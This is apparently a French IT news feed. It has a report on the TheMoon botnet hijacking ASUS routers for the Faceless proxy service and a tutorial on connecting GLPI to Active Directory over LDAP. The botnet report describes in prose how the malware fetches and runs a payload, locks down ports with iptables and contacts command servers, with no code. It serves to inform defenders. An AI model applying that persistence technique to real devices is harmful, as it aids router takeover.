<p><a href="https://www.presse-citron.net/ces-alternatives-a-chrome-et-safari-sont-en-feu-depuis-lentree-en-vigueur-du-dma/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/digital-markets-act-une-croissance-de-402-pour-opera-sur-iphone/">Digital Markets Act : une croissance de 402% pour Opera sur iPhone</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78473
title: En 72 heures, le botnet TheMoon a compromis 6 000 routeurs ASUS
uri: En-72-heures-le-botnet-TheMoon-a-compromis-6-000-routeurs-ASUS
url: https://www.it-connect.fr/en-72-heures-le-botnet-themoon-a-compromis-6-000-routeurs-asus/
content:
<p><strong>Une nouvelle variante du botnet "TheMoon" a été repéré dans 88 pays différents sur des milliers de routeurs, notamment de la marque ASUS, et des appareils IoT. Faisons le point sur cette menace.</strong></p>



<p>Les <a href="https://blog.lumen.com/the-darkside-of-themoon/" target="_blank" rel="noopener nofollow" title="">chercheurs en sécurité de Black Lotus Labs</a> ont surveillé de près la dernière campagne de TheMoon, qui s'est déroulée en mars 2024, et les chiffres sont élevés : <strong>en 72 heures, ce botnet est parvenu à compromettre 6 000 routeurs ASUS</strong>. Plus globalement, voici ce que précise le rapport au sujet de l'activité de TheMoon : "<em>Alors que Lumen a déjà documenté cette famille de logiciels malveillants, notre dernier suivi a montré que TheMoon semble permettre la croissance de Faceless à un rythme de près de 7 000 nouveaux utilisateurs par semaine.</em>"</p>



<p>En effet, les appareils compromis par le botnet TheMoon sont ensuite exploités par<strong> le service <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-serveurs-proxy-et-reverse-proxy-pour-les-debutants/" target="_blank" rel="noopener" title="proxy" data-wpil-keyword-link="linked">proxy</a> "Faceless" auquel il est lié</strong>. Ce service s'appuie sur les appareils infectés pour <strong>les utiliser comme proxy afin de masquer le trafic généré par les cybercriminels</strong>. Ainsi, ceci permet aux cybercriminels, notamment ceux des groupes IcedID et SolarMarker, de masquer leurs activités malveillantes.</p>



<p><strong>TheMoon n'est pas une nouvelle menace puisqu'il a été repéré pour la première fois en 2014.</strong> À cette époque, il ciblait particulièrement les équipements LinkSys. Lors de la première semaine de mars, il y a eu une importante vague d'attaques à destination des routeurs ASUS.</p>



<h2 class="wp-block-heading">Les routeurs ASUS, une cible privilégiée</h2>



<p>Les chercheurs de Black Lotus Labs ne précisent pas comment les routeurs ASUS ont pu être compromis, mais il s'agirait de<strong> modèles qui ne sont plus pris en charge par le fabricant</strong>. Il est fort probable que <strong>des failles de sécurité connues et non corrigées</strong> soient exploitées par le botnet, ou que la <strong>technique du brute force </strong>soit utilisée : <strong>ces routeurs sont susceptibles d'être mal configurés</strong> et le compte admin par défaut pourrait fonctionner dans certains cas...</p>



<p>Lorsqu'un appareil est compromis, le logiciel malveillant part à la <strong>recherche d'un shell avec lequel il est compatible</strong> : "/bin/bash," "/bin/ash," ou "/bin/sh". Si c'est le cas, le chargeur <strong>télécharge, déchiffre et exécute un payload nommé ".nttpd" sur l'appareil</strong>. Ensuite, des règles de filtrage sont créées via iptables pour<strong> bloquer les flux entrants sur les ports 8080 et 80 en TCP, sauf pour des plages d'adresses IP spécifiques</strong>. Ceci permet aux attaquants d'être les seuls à pouvoir exploiter cet appareil à distance, notamment via le service de proxy. Enfin, TheMoon établit <strong>une connexion aux serveurs C2 pilotés par les attaquants </strong>et il est en attente de recevoir des instructions.</p>



<p>Si vous constatez des problèmes de stabilité, de performances ou des paramètres qui ont changé sur votre routeur ou un appareil IoT, il se pourrait que vous soyez victime de ce botnet, notamment si vous utilisez un routeur ASUS.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/themoon-malware-infects-6-000-asus-routers-in-72-hours-for-proxy-service/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/en-72-heures-le-botnet-themoon-a-compromis-6-000-routeurs-asus/">En 72 heures, le botnet TheMoon a compromis 6 000 routeurs ASUS</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=77589
title: GLPI : comment configurer l’authentification LDAP via l’Active Directory ?
uri: GLPI-comment-configurer-l-authentification-LDAP-via-l-Active-Dir
url: https://www.it-connect.fr/tuto-glpi-configurer-authentification-active-directory/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons avoir comment configurer l'authentification LDAP de GLPI pour pouvoir se connecter à l'application GLPI à partir des comptes utilisateurs présents dans un annuaire Active Directory. Ainsi, un utilisateur pourra accéder à GLPI à l'aide de son nom d'utilisateur et son mot de passe habituel (puisque ce seront les informations de son compte dans l'Active Directory).</strong></p>



<p>GLPI propose nativement un modèle d'authentification LDAP, ce qui lui permet de s'appuyer sur <strong>un annuaire de comptes externe, comme l'Active Directory de Microsoft</strong>. Il faut savoir que les comptes utilisateurs de l'Active Directory seront<strong> importés dans la base de données de GLPI</strong>, grâce à un <strong>processus de synchronisation</strong>. Lorsqu'un utilisateur Active Directory se connecte pour la première fois, son compte est créé dans GLPI. Avant cela, il n'est pas visible, sauf si vous décidez d'effectuer un<strong> "import en masse" des comptes AD dans GLPI.</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/installation-pas-a-pas-de-glpi-10-sur-debian-12/" target="_blank" rel="noopener" title="Installation pas-à-pas de GLPI 10 sur Debian 12">Comment installer GLPI ?</a></li>



<li><a href="https://www.it-connect.fr/cours/notions-de-base-de-lactive-directory/" target="_blank" rel="noopener" title="">Cours - Introduction à l'Active Directory</a></li>
</ul>



<p>Par ailleurs, en complément de ce tutoriel, voici le lien vers la documentation officielle :</p>



<ul>
<li><a href="https://glpi-user-documentation.readthedocs.io/fr/latest/modules/configuration/authentication/ldap.html" target="_blank" rel="noopener nofollow" title="">Documentation GLPI - Authentification LDAP</a></li>
</ul>



<h2 class="wp-block-heading">II. Configuration cible</h2>



<p><strong>Avant de passer à la configuration, voici quelques informations sur l'environnement utilisé</strong>.</p>



<p>Pour cette démonstration, le domaine Active Directory "<strong>it-connect.local</strong>" sera utilisé et le contrôleur de domaine <strong>SRV-ADDS-02 </strong>sera utilisé. Ce serveur dispose de l'adresse IP "<strong>10.10.100.11</strong>" et la connexion sera effectuée en LDAP, sur le port par défaut (389).</p>



<p>- Le compte utilisateur qui sera utilisé comme "<strong>connecteur</strong>" pour permettre à GLPI de se connecter à l'Active Directory se nomme "<strong>Sync_GLPI</strong>". Il est stocké dans l'unité d'organisation "<strong>Connecteurs</strong>" de l'annuaire (voir image ci-dessous). Il s'agit d'un compte utilisateur standard, sans aucun droit particulier sur l'annuaire Active Directory. <strong>Faites-moi plaisir : n'utilisez pas de compte Administrateur.</strong></p>



<p>- Tous les utilisateurs qui doivent pouvoir se connecter à GLPI à l'aide de leur compte Active Directory sont stockés dans l'unité d'organisation "<strong>Personnel</strong>" visible ci-dessous. Elle correspond à ce que l'on appelle la "<strong>Base DN</strong>" vis-à-vis du connecteur LDAP de GLPI. <strong>Les autres utilisateurs ne pourront pas se connecter.</strong> En fait, ce n'est pas utile de mettre la racine du domaine comme base DN : essayez de restreindre autant que possible pour limiter la découverte de l'annuaire Active Directory au strict nécessaire.</p>



<p>- Les utilisateurs de l'Active Directory pourront<strong> se connecter à GLPI à l'aide de leur identifiant correspondant à l'attribut "UserPrincipalName"</strong> (mis en évidence, en jaune, sur l'image ci-dessous). Cet identifiant, sous la forme "identifiant + nom de domaine", leur permettra se connecter à GLPI avec un identifiant qui correspond à leur e-mail. L'alternative consisterait à utiliser l'attribut "<strong>SamAccountName</strong>" (soit l'identifiant sous la forme "DOMAINE\identifiant").</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="548" src="media/66b8207e.GLPI-Arborescence-Active-Directory.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory.png" alt="GLPI - Arborescence Active Directory" class="wp-image-77603" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory-550x377.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory-768x526.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Arborescence-Active-Directory-130x90.png 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, maintenant, nous allons pouvoir dérouler la configuration !</p>



<h2 class="wp-block-heading">II. Installer l'extension LDAP de PHP</h2>



<p>L'<strong>extension LDAP de PHP</strong> doit être installée sur votre serveur pour que GLPI soit capable de communiquer avec votre serveur contrôleur de domaine Active Directory (ou tout autre annuaire LDAP).</p>



<p>Connectez-vous à votre serveur GLPI et exécutez les deux commandes suivantes pour mettre à jour le cache des paquets et procéder à l'installation de l'extension.</p>



<pre class="wp-block-code"><code>sudo apt-get update
sudo apt-get install php-ldap</code></pre>



<p>Cette extension sera installée et activée dans la foulée. Vous n'avez pas besoin de relancer le serveur.</p>



<h2 class="wp-block-heading">III. Ajouter un annuaire LDAP dans GLPI</h2>



<p>Désormais, nous allons ajouter notre annuaire Active Directory à GLPI. Connectez-vous à GLPI avec un compte administrateur, puis dans le menu "<strong>Configuration</strong>", cliquez sur "<strong>Authentification</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="510" src="media/e41fa582.GLPI-Configuration-Authentification.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification.png" alt="GLPI - Configuration - Authentification" class="wp-image-77593" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification-550x351.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification-768x490.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configuration-Authentification-50x32.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Au centre de l'écran, cliquez sur "<strong>Annuaire LDAP</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="300" src="media/d0abbfd3.GLPI-Authentification-Annuaire-LDAP.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP.png" alt="GLPI - Authentification - Annuaire LDAP" class="wp-image-77592" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP-550x206.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP-768x288.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-Annuaire-LDAP-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Puis, cliquez sur le bouton "<strong>Ajouter</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="352" src="media/6497942d.GLPI-Ajouter-un-nouvel-annuaire-LDAP.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP.png" alt="GLPI - Ajouter un nouvel annuaire LDAP" class="wp-image-77591" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP-550x242.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP-768x338.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Ajouter-un-nouvel-annuaire-LDAP-50x22.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un formulaire s'affiche à l'écran. Comment le renseigner ? À quoi correspondent tous ces champs ? C'est que nous allons voir ensemble.</p>



<ul>
<li><strong>Nom </strong>: le nom de cet annuaire LDAP, vous pouvez utiliser un nom convivial, ce n'est pas obligatoirement le nom du domaine, ni le nom du serveur.</li>



<li><strong>Serveur par défaut </strong>: faut-il s'appuyer sur ce serveur par défaut pour l'authentification LDAP ? Il ne peut y avoir qu'un seul serveur LDAP défini par défaut.</li>



<li><strong>Actif </strong>: nous allons indiquer "Oui", sinon ce sera déclaré, mais non utilisé.</li>



<li><strong>Serveur </strong>: adresse IP du contrôleur de domaine à interroger. Avec le nom DNS, cela ne semble pas fonctionner (malheureusement).</li>



<li><strong>Port </strong>: 389, qui est le port par défaut du protocole LDAP. Si vous utilisez TLS, il faudra le préciser à postériori, dans l'onglet "<strong>Informations avancées</strong>", du nouveau serveur LDAP.</li>



<li><strong>Filtre de connexion</strong> : requête LDAP pour rechercher les objets dans l'annuaire Active Directory. Généralement, nous faisons en sorte de récupérer les objets utilisateurs ("objectClass=user") en prenant uniquement les utilisateurs actifs (via un filtre sur l'attribut <a href="https://www.it-connect.fr/active-directory-et-lattribut-useraccountcontrol/" target="_blank" rel="noopener" title="Active Directory et l’attribut UserAccountControl">UserAccountControl</a>).</li>



<li><strong>BaseDN </strong>: où faut-il se positionner dans l'annuaire pour rechercher les utilisateurs ? Ce n'est pas nécessaire la racine du domaine, tout dépend comment est organisé votre annuaire et où se situent les utilisateurs qui doivent pouvoir se connecter. Il faut indiquer le DistinguishedName de l'OU.</li>



<li><strong>Utiliser bind</strong> : à positionner sur "Oui" pour du LDAP classique (sans TLS)</li>



<li><strong>DN du compte </strong>: le nom du compte à utiliser pour se connecter à l'Active Directory. En principe, vous ne pouvez pas utiliser de connexion anonyme ! Ici, il ne faut pas indiquer uniquement le nom du compte, mais la valeur de son attribut <a href="https://www.it-connect.fr/active-directory-comment-recuperer-le-distinguishedname-dun-objet/" target="_blank" rel="noopener" title="Active Directory – Comment récupérer le DistinguishedName d’un objet ?">DistinguishedName</a>.</li>



<li><strong>Mot de passe du compte </strong>: le mot de passe du compte renseigné ci-dessus</li>



<li><strong>Champ de l'identifiant</strong> : dans l'Active Directory, quel attribut doit être utilisé comme identifiant de connexion pour le futur compte GLPI ? Généralement, UserPrincipalName ou SamAccountName, selon vos besoins.</li>



<li><strong>Champ de synchronisation</strong> : GLPI a besoin d'un champ sur lequel s'appuyer pour synchroniser les objets. Ici, nous allons utiliser l'<strong>objectGuid</strong> de façon à avoir une valeur unique pour chaque utilisateur. Ainsi, si un utilisateur est modifié dans l'Active Directory, GLPI pourra se repérer grâce à cet attribut qui lui n'évoluera pas (sauf si le compte est supprimé puis recréé dans l'AD).</li>
</ul>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="446" src="media/e73b2b34.GLPI-Formulaire-configuration-annuaire-LDAP-800x446.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-800x446.png" alt="GLPI - Formulaire configuration annuaire LDAP" class="wp-image-77590" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-800x445.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-550x307.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-150x84.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-768x429.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Formulaire-configuration-annuaire-LDAP.png 1224w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ci-dessous, la configuration utilisée pour cette démonstration et qui correspond à la "configuration cible" évoquée précédemment.</p>



<ul>
<li><strong>Nom </strong>: Active Directory - it-connect.local</li>



<li><strong>Serveur par défaut </strong>: Oui</li>



<li><strong>Actif </strong>: Oui</li>



<li><strong>Serveur </strong>: 10.10.100.11</li>



<li><strong>Port </strong>: 389 </li>



<li><strong>Filtre de connexion</strong> : (&amp;(objectClass=user)(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))</li>



<li><strong>BaseDN </strong>: OU=Personnel,DC=it-connect,DC=local</li>



<li><strong>Utiliser bind</strong> : Oui</li>



<li><strong>DN du compte </strong>: CN=Sync_GLPI,OU=Connecteurs,OU=Tiering,OU=IT,DC=it-connect,DC=local</li>



<li><strong>Mot de passe du compte </strong>: Mot de passe du compte "Sync_GLPI"</li>



<li><strong>Champ de l'identifiant</strong> : userprincipalname</li>



<li><strong>Champ de synchronisation</strong> : objectguid</li>
</ul>



<p>Quand votre configuration est prête, cliquez sur "<strong>Ajouter</strong>".</p>



<figure class="wp-block-image size-large"><a href="media/926ff428.GLPI-Configurer-Active-Directory.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory.png"><img decoding="async" width="800" height="361" src="media/b4dcb31e.GLPI-Configurer-Active-Directory-800x361.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-800x361.png" alt="GLPI - Configurer Active Directory" class="wp-image-77598" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-800x361.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-550x248.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-150x68.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-768x347.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-1536x694.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Configurer-Active-Directory.png 1596w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Dans la foulée, <strong>GLPI va effectuer un test de connexion LDAP et vous indiquer s'il est parvenu, ou non, à se connecter à votre annuaire</strong>. Si ce n'est pas le cas (comme moi, la première fois), cliquez sur le nom de votre annuaire, vérifiez la configuration, puis retournez dans "<strong>Tester</strong>" sur la gauche afin de lancer un nouveau test. Pour ma part, le problème venait du champ "Serveur" : j'avais mis le nom DNS du serveur à la place de l'adresse IP, mais cela ne fonctionnait pas. Pourtant, mon serveur GLPI parvient bien à résoudre le nom DNS.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="319" src="media/3c741c08.GLPI-Tester-authentification-LDAP-800x319.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-800x319.png" alt="GLPI - Tester authentification LDAP" class="wp-image-77599" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-800x319.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-550x219.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-768x306.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Tester-authentification-LDAP.png 934w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par ailleurs, <strong>vous pouvez explorer les différents onglets : Utilisateurs, Groupes, Réplicats, etc... Pour affiner la configuration</strong>. L'onglet "<strong>Utilisateurs</strong>" est intéressant pour configurer le mappage entre les champs d'une fiche utilisateur dans GLPI et les attributs d'un compte dans l'Active Directory. Quant à l'onglet "<strong>Réplicats</strong>", vous pouvez l'utiliser pour<strong> déclarer un ou plusieurs contrôleurs de domaine "de secours" </strong>à contacter si le serveur principal n'est plus joignable.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="234" src="media/88e318bc.GLPI-Authentification-AD-Serveur-secondaire.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire.jpg" alt="" class="wp-image-77608" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire-550x161.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire-150x44.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire-768x225.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Authentification-AD-Serveur-secondaire-50x15.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h2 class="wp-block-heading">IV. Tester la connexion Active Directory</h2>



<p>Si GLPI valide la connexion à votre annuaire Active Directory, vous pouvez tenter de vous authentifier à l'application avec un compte utilisateur. Pour ma part, c'est l'utilisateur Guy Mauve qui va servir de cobaye. Son login GLPI sera donc "<strong>guy.mauve@it-connect.tech</strong>" puisque je m'appuie sur l'attribut UserPrincipalName. Pour le mot de passe, je dois indiquer celui de son compte Active Directory.</p>



<p><strong>Remarque </strong>: la source d'authentification doit être l'Active Directory.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="728" src="media/6fadcf9a.Connexion-a-GLPI-avec-un-compte-Active-Directory.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory.png" alt="Connexion à GLPI avec un compte Active Directory" class="wp-image-77602" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory-550x501.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory-150x137.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory-768x699.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Connexion-a-GLPI-avec-un-compte-Active-Directory-50x46.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, l'authentification fonctionne ! L'utilisateur a pu se connecter avec son compte Active Directory et il hérite du rôle "<strong>Self-service</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="468" src="media/9a276e1c.GLPI-Exemple-Connexion-avec-un-utilisateur-AD.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD.jpg" alt="GLPI - Exemple - Connexion avec un utilisateur AD" class="wp-image-77601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD-550x322.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD-150x88.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD-768x449.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Exemple-Connexion-avec-un-utilisateur-AD-50x29.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans le même temps, à partir du compte admin de GLPI, je peux remarquer la présence d'un nouveau compte utilisateur dont l'identifiant est "<strong>guy.mauve@it-connect.tech</strong>" ! GLPI a également récupéré le nom, le prénom et l'adresse e-mail à partir de différents attributs de l'objet LDAP.</p>



<figure class="wp-block-image size-large"><a href="media/6b0c0591.Synchronisation-GLPI-et-utilisateur-Active-Directory.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory.png"><img decoding="async" width="800" height="366" src="media/bc39c68a.Synchronisation-GLPI-et-utilisateur-Active-Directory-800x366.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-800x366.png" alt="Synchronisation GLPI et utilisateur Active Directory" class="wp-image-77600" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-800x366.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-550x252.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-768x352.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory-50x23.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Synchronisation-GLPI-et-utilisateur-Active-Directory.png 1487w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<h2 class="wp-block-heading">V. Forcer une synchronisation Active Directory</h2>



<p>A partir de GLPI, vous pouvez<strong> forcer une synchronisation LDAP </strong>de façon à mettre à jour les comptes dans GLPI "liés" à des comptes Active Directory, mais aussi pour <strong>importer en masse tous les comptes des utilisateurs Active Directory</strong>. Ceci vous évite d'attendre la première connexion et vous permet de préparer le compte : attribution du bon rôle, etc.</p>



<p>Cliquez sur "<strong>Administration</strong>" dans le menu, puis "<strong>Utilisateurs</strong>". Ici, vous avez accès au bouton "<strong>Liaison annuaire LDAP</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="282" src="media/32f6427f.-Forcer-synchronisation-et-import-Active-Directory-1-800x282.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-800x282.png" alt="" class="wp-image-77611" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-800x282.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-550x194.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-150x53.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-768x271.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-1.png 1066w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Vous avez ensuite le choix entre deux actions différentes, selon vos besoins.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="256" src="media/a359b512.-Forcer-synchronisation-et-import-Active-Directory-2-800x256.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-800x256.png" alt="" class="wp-image-77612" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-800x256.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-550x176.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-768x246.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2-50x16.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GLPI-Forcer-synchronisation-et-import-Active-Directory-2.png 864w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous cliquez sur "<strong>Importation de nouveaux utilisateurs</strong>", vous pourrez importer en masse les comptes dans l'Active Directory. Il vous suffit de lancer une recherche, de sélectionner les comptes à importer et de lancer l'import grâce au bouton "<strong>Actions</strong>".</p>



